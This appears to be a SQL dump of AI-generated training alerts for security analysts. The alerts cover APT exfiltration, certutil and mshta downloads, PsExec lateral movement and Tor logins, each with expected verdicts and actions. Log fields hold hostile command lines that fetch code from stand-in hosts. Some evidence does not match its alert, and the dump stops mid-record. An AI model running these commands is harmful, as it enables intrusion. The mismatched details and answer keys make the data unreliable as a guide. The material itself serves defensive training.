INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1418, 'APT29 Data Exfiltration via Encoded Powershell', 'critical', 'CrowdStrike', 'APT29\'s stealthy data exfiltration attempt using encoded PowerShell commands to communicate with an external C2 server.', 'Data Exfil', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T12:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.2.4.15\",\"dst_ip\":\"203.0.113.56\",\"username\":\"analyst.dave\",\"hostname\":\"Trade-Workstation-12\",\"command_line\":\"powershell.exe -enc UwBvAHUAcgBjAGUAPQBoAHQAdABwADoALwAvAGMAbQBkAC4AZABvAG0AYQBpAG4ALgBjAG8AbQAvAGMAbwBtAG0AYQBuAGQALgBwAHMAMwA=\",\"domain\":\"cmd.domain.com\"}', '2026-03-02 03:14:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 infrastructure for APT29\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc UwBvAHUAcgBjAGUAPQBoAHQAdABwADoALwAvAGMAbQBkAC4AZABvAG0AYQBpAG4ALgBjAG8AbQAvAGMAbwBtAG0AYQBuAGQALgBwAHMAMwA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"cmd.domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used for C2 communication in APT29 operations\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of encoded PowerShell for data exfiltration is consistent with APT29\'s tactics, techniques, and procedures.\"}', 'Advanced', 'MAL', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1419, 'APT28 Internal Reconnaissance with Certutil', 'high', 'Splunk', 'APT28 was observed conducting internal reconnaissance using certutil to download a reconnaissance tool within the network.', 'Lateral Movement', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T14:10:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.3.5.10\",\"dst_ip\":\"10.3.5.20\",\"username\":\"it.support\",\"hostname\":\"Server-Admin-01\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\"}', '2026-03-02 03:14:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.3.5.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for potential reconnaissance\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used to download malicious tools\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Certutil was used to download a file, a common method for internal reconnaissance, in line with APT28\'s known behavior.\"}', 'Advanced', 'MAL', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.966Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.3.5.10\\\",\\\"dst_ip\\\":\\\"10.3.5.20\\\",\\\"username\\\":\\\"it.support\\\",\\\"hostname\\\":\\\"Server-Admin-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.966Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.3.5.10\\\",\\\"dst_ip\\\":\\\"10.3.5.20\\\",\\\"username\\\":\\\"it.support\\\",\\\"hostname\\\":\\\"Server-Admin-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.966Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.3.5.10\\\",\\\"dst_ip\\\":\\\"10.3.5.20\\\",\\\"username\\\":\\\"it.support\\\",\\\"hostname\\\":\\\"Server-Admin-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.966Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.3.5.10\\\",\\\"dst_ip\\\":\\\"10.3.5.20\\\",\\\"username\\\":\\\"it.support\\\",\\\"hostname\\\":\\\"Server-Admin-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.966Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.3.5.10\\\",\\\"dst_ip\\\":\\\"10.3.5.20\\\",\\\"username\\\":\\\"it.support\\\",\\\"hostname\\\":\\\"Server-Admin-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1420, 'Fancy Bear Credential Dump using mshta', 'critical', 'Cuckoo Sandbox', 'Detected mshta used to execute a malicious HTA file to dump credentials, linked to Fancy Bear\'s operations.', 'Credential Access', 'T1170', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T16:05:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.4.6.50\",\"dst_ip\":\"10.4.6.51\",\"username\":\"finance.mgr\",\"hostname\":\"Finance-PC-11\",\"command_line\":\"mshta http://malicious-site.com/malicious.hta\"}', '2026-03-02 03:14:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.4.6.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, potentially compromised\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"mshta http://malicious-site.com/malicious.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Execution of HTA files is a known technique for credential dumping\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of mshta to execute malicious HTA files aligns with Fancy Bear\'s credential access strategies.\"}', 'Advanced', 'MAL', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.4.6.50\\\",\\\"dst_ip\\\":\\\"10.4.6.51\\\",\\\"username\\\":\\\"finance.mgr\\\",\\\"hostname\\\":\\\"Finance-PC-11\\\",\\\"command_line\\\":\\\"mshta http://malicious-site.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.4.6.50\\\",\\\"dst_ip\\\":\\\"10.4.6.51\\\",\\\"username\\\":\\\"finance.mgr\\\",\\\"hostname\\\":\\\"Finance-PC-11\\\",\\\"command_line\\\":\\\"mshta http://malicious-site.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.4.6.50\\\",\\\"dst_ip\\\":\\\"10.4.6.51\\\",\\\"username\\\":\\\"finance.mgr\\\",\\\"hostname\\\":\\\"Finance-PC-11\\\",\\\"command_line\\\":\\\"mshta http://malicious-site.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.4.6.50\\\",\\\"dst_ip\\\":\\\"10.4.6.51\\\",\\\"username\\\":\\\"finance.mgr\\\",\\\"hostname\\\":\\\"Finance-PC-11\\\",\\\"command_line\\\":\\\"mshta http://malicious-site.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.4.6.50\\\",\\\"dst_ip\\\":\\\"10.4.6.51\\\",\\\"username\\\":\\\"finance.mgr\\\",\\\"hostname\\\":\\\"Finance-PC-11\\\",\\\"command_line\\\":\\\"mshta http://malicious-site.com/malicious.hta\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1421, 'APT41 Spear-Phishing Campaign Targeting Energy Sector', 'critical', 'MISP', 'A spear-phishing email was detected attempting to deliver a fileless malware payload using a malicious link. The campaign is attributed to APT41.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"workstation01.energycorp.local\",\"email_sender\":\"alert@energy-updates.com\",\"url\":\"http://malicious-update.com/download?file=update.exe\"}', '2026-03-02 03:16:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-update.com/download?file=update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting malware for phishing campaign\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"alert@energy-updates.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain associated with known phishing campaigns\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains indicators of a known APT41 phishing campaign targeting energy sector employees.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01.energycorp.local\\\",\\\"email_sender\\\":\\\"alert@energy-updates.com\\\",\\\"url\\\":\\\"http://malicious-update.com/download?file=update.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01.energycorp.local\\\",\\\"email_sender\\\":\\\"alert@energy-updates.com\\\",\\\"url\\\":\\\"http://malicious-update.com/download?file=update.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01.energycorp.local\\\",\\\"email_sender\\\":\\\"alert@energy-updates.com\\\",\\\"url\\\":\\\"http://malicious-update.com/download?file=update.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01.energycorp.local\\\",\\\"email_sender\\\":\\\"alert@energy-updates.com\\\",\\\"url\\\":\\\"http://malicious-update.com/download?file=update.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01.energycorp.local\\\",\\\"email_sender\\\":\\\"alert@energy-updates.com\\\",\\\"url\\\":\\\"http://malicious-update.com/download?file=update.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1422, 'Lazarus Group Lateral Movement Detected via PSExec', 'high', 'ThreatConnect', 'Suspicious lateral movement activity detected using PSExec from an internal IP associated with the Lazarus Group.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T13:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"192.168.1.15\",\"username\":\"admin\",\"hostname\":\"server01.energycorp.local\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.15 -u admin -p password cmd.exe\"}', '2026-03-02 03:16:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.15 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec command used for unauthorized lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec for lateral movement matches known techniques used by the Lazarus Group.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.970Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01.energycorp.local\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.15 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.970Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01.energycorp.local\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.15 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.970Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01.energycorp.local\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.15 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.970Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01.energycorp.local\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.15 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.970Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01.energycorp.local\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.15 -u admin -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1423, 'Fancy Bear Data Exfiltration via GitHub C2', 'critical', 'Anomali', 'Data exfiltration detected using a GitHub repository for C2 communication. Activity attributed to Fancy Bear/APT28.', 'Data Exfil', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T16:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"140.82.112.4\",\"username\":\"analyst\",\"hostname\":\"workstation02.energycorp.local\",\"url\":\"https://github.com/user/repo\"}', '2026-03-02 03:16:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used in exfiltration activity\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://github.com/user/repo\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"GitHub repository used as C2 channel\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Detected exfiltration matches Fancy Bear\'s use of GitHub for covert C2 operations.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"140.82.112.4\\\",\\\"username\\\":\\\"analyst\\\",\\\"hostname\\\":\\\"workstation02.energycorp.local\\\",\\\"url\\\":\\\"https://github.com/user/repo\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"140.82.112.4\\\",\\\"username\\\":\\\"analyst\\\",\\\"hostname\\\":\\\"workstation02.energycorp.local\\\",\\\"url\\\":\\\"https://github.com/user/repo\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"140.82.112.4\\\",\\\"username\\\":\\\"analyst\\\",\\\"hostname\\\":\\\"workstation02.energycorp.local\\\",\\\"url\\\":\\\"https://github.com/user/repo\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"140.82.112.4\\\",\\\"username\\\":\\\"analyst\\\",\\\"hostname\\\":\\\"workstation02.energycorp.local\\\",\\\"url\\\":\\\"https://github.com/user/repo\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"140.82.112.4\\\",\\\"username\\\":\\\"analyst\\\",\\\"hostname\\\":\\\"workstation02.energycorp.local\\\",\\\"url\\\":\\\"https://github.com/user/repo\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1424, 'Suspicious Login Attempts from Tor Exit Node', 'medium', 'Recorded Future', 'Multiple failed login attempts detected from a known Tor exit node. Investigation indicates benign activity.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.220.101.19\",\"dst_ip\":\"192.168.3.5\",\"username\":\"guest\",\"hostname\":\"gateway.energycorp.local\",\"failed_attempts\":12}', '2026-03-02 03:16:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.220.101.19\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP identified as Tor exit node, possibly used for benign purposes\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login attempts originated from a Tor exit node. No further malicious activity detected, indicating a likely false alarm.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.973Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.220.101.19\\\",\\\"dst_ip\\\":\\\"192.168.3.5\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"gateway.energycorp.local\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-02T13:54:06.973Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 